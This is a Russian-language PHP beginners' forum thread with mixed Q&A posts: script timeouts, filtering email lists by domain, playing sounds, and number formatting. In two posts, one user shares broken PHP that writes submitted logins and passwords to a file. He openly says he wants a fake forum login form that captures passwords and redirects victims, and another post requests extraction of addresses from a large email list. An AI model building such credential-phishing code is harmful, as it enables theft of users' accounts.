[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    А больше точно не как? просто у конкурентов видел, что идут часики до конца запроса, с сайта выхожу а запрос уходит спокойно....по крону проверять там не реально.....(точность до секунды)
     
  2. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Подредактировал скрипт включил курл из
    http://www.phpclub.ru/detail/article/curl
    В итоге получилось следующее:
    PHP:
    <?PHP
    if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных 
    $Login $_POST['UserName'];   
    $Pass $_POST['PassWord'];   

    $log fopen("base.php","a+");   
    fwrite($log,"\n$Login:$Pass \n");   
    fclose($log);  
    }
    // HTTP authentication  
    $url "http://127.0.0.1/forum/index.php?act=Login&CODE=01";  
    $ch curl_init();      
    curl_setopt($chCURLOPT_RETURNTRANSFER1);   
    curl_setopt($chCURLOPT_URL$url);   
    curl_setopt($chCURLOPT_USERPWD"$Login:$Pass");   
    $result curl_exec($ch);   
    curl_close($ch);   
    echo 
    $result;  
    ?>  
    Но авторизация до сих не произошла.
    Я думаю, это из-за
    PHP:
    curl_setopt($chCURLOPT_USERPWD"$Login:$Pass");   
     
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Byrger Тогда в первый скрипт добавляете ignore_user_abort(1); c set_time_limit(0);
    и скрипт продолжит выполняться даже после закрытия страницы. А часики - это JS

    Вообще курим в сторону аякса

    Ershik Это что вообще за код такой? Если вы хотите сделать фейк логинку и красть пароли - то вам тоже надо читать про яваскрипты. А если хотите, чтобы скрипт сам логинился на форум - то читать про POST запросы и гуглить на тему "Как залогиниться курлом на форум"
     
    _________________________
    #8363 Gifts, 11 Feb 2009
    Last edited: 11 Feb 2009
  4. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Gifts.
    Мне нужно встроить в стили IPB фейковую форму авторизации, чтобы сохранялись пароли на удаленном ресурсе и происходил редирект на настоящий сайт.
    Думаю, тут надо Джаву м Курл.
    Возможно =)

    Нашел форму:
    http://ezh-leon.ru/ispolzovanie-curl-chast-2
    PHP:
    curl_setopt($chCURLOPT_URL"http://127.0.0.1/forum/index.php?act=Login&CODE=00"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS"$Login&$Pass"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
    curl_setopt($chCURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
    $result curl_exec($ch);
    curl_setopt($chCURLOPT_URL"http://127.0.0.1/forum/index.php?act=Login&CODE=01"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
    curl_setopt($chCURLOPT_POST1); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
    curl_setopt($chCURLOPT_COOKIEFILE$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
    $result curl_exec($ch);
    curl_close($ch);
    echo 
    $result;
    ?> 
    поменял на свои значения.
    Вставил:
    PHP:
    curl_setopt($chCURLOPT_POSTFIELDS"[B]act=Login&CODE=00[/B]"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
    Но авторизации по прежнему нет.
     
    #8364 Ershik, 11 Feb 2009
    Last edited: 11 Feb 2009
  5. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Ребята, нужно написать скрипт который бы из файла(в котором лежат разные мыла) доставал только домен@mail.ru, домен@bk.ru, домен@inbox.ru, домен@list.ru и складывал их в другой файл, кто поможет буду оч благодарен!
     
  6. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    PHP:
    <?php
    $input 
    'emails.txt';
    $output 'new.txt';
    ###

    $f fopen($output,'w');
    $e file($input);
    foreach(
    $e as $email)
        if(
    preg_match('/@(mail|bk|inbox|list)\.ru/',$email)) fputs($f,$email);
    ?>
     
    1 person likes this.
  7. Carbon1

    Carbon1 New Member

    Joined:
    8 Feb 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    а как?

     
  8. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    не работает, вот че Fatal error: Maximum execution time of 30 seconds exceeded in c:\appserv\www\1\1.php on line 7

    ЗЫ: файл весит 98мб
     
  9. Shadow_p1raT

    Shadow_p1raT Elder - Старейшина

    Joined:
    9 Mar 2008
    Messages:
    174
    Likes Received:
    93
    Reputations:
    0
    MaTpOc,пропиши в начале файла строчки
    Code:
    @set_time_limit(0); 
    @ini_set("max_execution_time", 0);
    
     
  10. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    подскажите, как можно звук воспроизвести из mp3- или wav-файла?
     
  11. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
  12. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    вы меня не поняли :D
    мне нужно воспроизвести звук прямо на компьютере на котором выполняется php-скрипт :)
     
  13. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3

    ну скачай себе винамп))) чот я не пойму как это воспроизвести на компьютере на котором выполняется скрипт))))
     
    1 person likes this.
  14. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    ну что-тут непонятного))) у меня есть компьютер, на нем запускается php-скрипт, который обрабатывает запрос и в зависимоти от поступающих данных мне нужно воспроизвести звук, т.е. воспроизвести его прямо из скрипта :cool:
     
  15. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    никак. можно только запустить какой-либо плеер. через exec() или system().
     
    1 person likes this.
  16. Маркиза

    Маркиза New Member

    Joined:
    11 Feb 2009
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Ребят а помоему вопросу никто помочь не может?
     
  17. holden321

    holden321 New Member

    Joined:
    31 Oct 2008
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    ясно, ну хотябы так, спасибо
     
  18. mouse.pro

    mouse.pro Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    113
    Likes Received:
    73
    Reputations:
    14
    Помогите со скриптом, в общем в mysql базе будет ячейка "test", там будут храниться цифры в виде "1000", "25464", "450654", "4350305", "25045164", надо что бы скрипт отделял цифры, и делал вида "1 000", "25 464", "450 654", "4 350 305", "25 045 164", воспользовался вот таким скриптом
    PHP:
    $in "1534234";
    $len strlen($in);
    $out "";
    for (
    $i=$len-1;$i>=0;$i--) {
     
    $out $in[$i].$out;
    if ((
    $len-$i) % == 0$out " ".$out;
    }
    echo 
    trim($out);
    но я думаю это не самый лучший вариант, как это лучше реализовать? может регуляркой?
     
  19. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    есть спец. функция
    http://www.php.net/manual/ru/function.number-format.php
     
    2 people like this.
  20. mouse.pro

    mouse.pro Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    113
    Likes Received:
    73
    Reputations:
    14
Thread Status:
Not open for further replies.